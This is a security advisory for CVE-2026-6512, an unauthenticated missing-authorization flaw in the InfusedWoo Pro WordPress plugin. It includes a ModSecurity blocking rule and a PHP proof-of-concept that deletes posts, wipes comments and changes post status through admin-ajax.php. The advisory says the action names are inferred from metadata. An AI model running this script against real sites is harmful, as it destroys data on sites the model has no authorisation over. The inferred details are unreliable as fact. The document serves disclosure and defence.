Atomic Edge analysis of CVE-2026-6512 (metadata-based):
This vulnerability affects the InfusedWoo Pro plugin for WordPress, version 5.1.2 and earlier. The security flaw allows unauthenticated attackers to permanently delete arbitrary posts, pages, products, and orders, mass-delete all comments on any post, and change any post’s status. The CVSS score of 9.1 reflects the critical severity due to network accessibility, no authentication required, and high impact on integrity. The CWE classification of 862 (Missing Authorization) indicates that the plugin fails to verify whether a user has proper permissions before executing sensitive actions.
Root Cause: Based on the CWE classification and description, Atomic Edge research infers that the plugin exposes several AJAX handlers or REST endpoints without authorization checks. The description mentions “multiple parameters” suggesting there are several endpoints, each handling a different action (delete post, delete comments, change status). The plugin likely registers actions via WordPress’s wp_ajax_ and wp_ajax_nopriv_ hooks for unauthenticated users. The vulnerable code probably processes requests by directly using parameters like post_id, comment_id, or action_type without verifying a nonce or checking current_user_cans() for edit_posts, delete_posts, or similar capabilities. This conclusion is inferred from the CWE and description, as no code diff is available.
Exploitation: An attacker can exploit this vulnerability by sending HTTP POST requests to /wp-admin/admin-ajax.php with various action parameters. The specific actions likely include infusedwoopro_delete_post, infusedwoopro_delete_comments, and infusedwoopro_change_post_status (inferred based on the plugin slug and affected operations). For post deletion, the attacker would include parameters like post_id, post_type, and action set to the vulnerable handler. For mass comment deletion, they would use comment_post_id. For status changes, they would send new_status and post_id. The attacker does not need authentication because the plugin registers these actions without a capability check through the wp_ajax_nopriv_ hook.
Remediation: The fix for this vulnerability should implement proper authorization checks for all AJAX handlers and REST endpoints. The plugin developer must ensure each action verifies the user has appropriate capabilities before processing. For example, delete_post should check current_user_can(‘delete_posts’) or current_user_can(‘edit_posts’) depending on the context. Additionally, the plugin should implement nonce verification using wp_verify_nonce() on each request to prevent CSRF attacks. Version 5.1.3 addresses these issues, as confirmed by the patch metadata.
Impact: Successful exploitation allows an unauthenticated attacker to permanently delete any post, page, product, or order in the WordPress database. The attacker can also remove all comments from any post, which can damage business operations and user trust. Changing post status allows manipulation of published content visibility. This could lead to complete data loss, defacement of the website, and disruption of e-commerce functionality since InfusedWoo Pro likely manages WooCommerce products and orders. The high integrity impact combined with no authentication requirement makes this a critical risk for any site running the vulnerable plugin.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6512 - InfusedWoo Pro Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-6512'"
SecRule ARGS_POST:action "@rx ^(?:infusedwoopro_delete_post|infusedwoopro_delete_comments|infusedwoopro_change_post_status)$" "chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6512 - InfusedWoo Pro <= 5.1.2 - Unauthenticated Missing Authorization to Arbitrary Post Deletion via Multiple Parameters
/*
* This PoC demonstrates exploitation of the missing authorization vulnerability.
* The plugin registers AJAX handlers without capability checks. We exploit this by
* sending POST requests to admin-ajax.php with the vulnerable actions.
*
* Assumptions:
* - The plugin uses wp_ajax_nopriv_ hooks for unauthenticated actions
* - Action names follow the pattern: infusedwoopro_delete_post, infusedwoopro_delete_comments, infusedwoopro_change_post_status
* - Parameters: action, post_id, post_type, new_status, comment_post_id
*/
$target_url = 'http://example.com';
$admin_ajax = $target_url . '/wp-admin/admin-ajax.php';
// 1. Delete a specific post (change post_id as needed)
$delete_post_params = [
'action' => 'infusedwoopro_delete_post',
'post_id' => 1,
'post_type' => 'post'
];
$ch = curl_init($admin_ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_post_params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Delete Post - HTTP $http_code, Response: $responsenn";
// 2. Mass-delete all comments on a post (change comment_post_id as needed)
$delete_comments_params = [
'action' => 'infusedwoopro_delete_comments',
'comment_post_id' => 1
];
$ch = curl_init($admin_ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_comments_params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Delete Comments - HTTP $http_code, Response: $responsenn";
// 3. Change post status (set to draft, private, publish, etc.)
$change_status_params = [
'action' => 'infusedwoopro_change_post_status',
'post_id' => 1,
'new_status' => 'draft'
];
$ch = curl_init($admin_ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($change_status_params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Change Post Status - HTTP $http_code, Response: $responsenn";
